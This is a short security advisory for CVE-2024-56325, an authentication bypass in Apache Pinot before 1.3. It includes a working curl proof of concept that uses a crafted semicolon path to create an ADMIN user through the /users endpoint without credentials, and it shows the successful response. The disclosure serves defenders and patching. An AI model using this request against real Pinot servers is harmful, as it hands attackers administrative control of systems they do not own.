*Severity:* critical
*Affected versions* - Apache Pinot before 1.3
*Description:*
Authentication Bypass Issue
If the path does not contain / and contain., authentication is not required.
*Expected Normal Request and Response Example*
curl -X POST -H "Content-Type: application/json" -d
{\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}
http://{server_ip}:9000/users
Return: {"code":401,"error":"HTTP 401 Unauthorized"}
*Malicious Request and Response Example *
curl -X POST -H "Content-Type: application/json" -d
'{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}'
http://{serverip}:9000/users; http://{serverip}:9000/users; .
Return: {"users":{}}
A new user gets added bypassing authentication, enabling the user to
control Pinot.
References:https://www.cve.org/CVERecord?id=CVE-2024-56325
Thanks
Siddharth (Apache Pinot PMC)
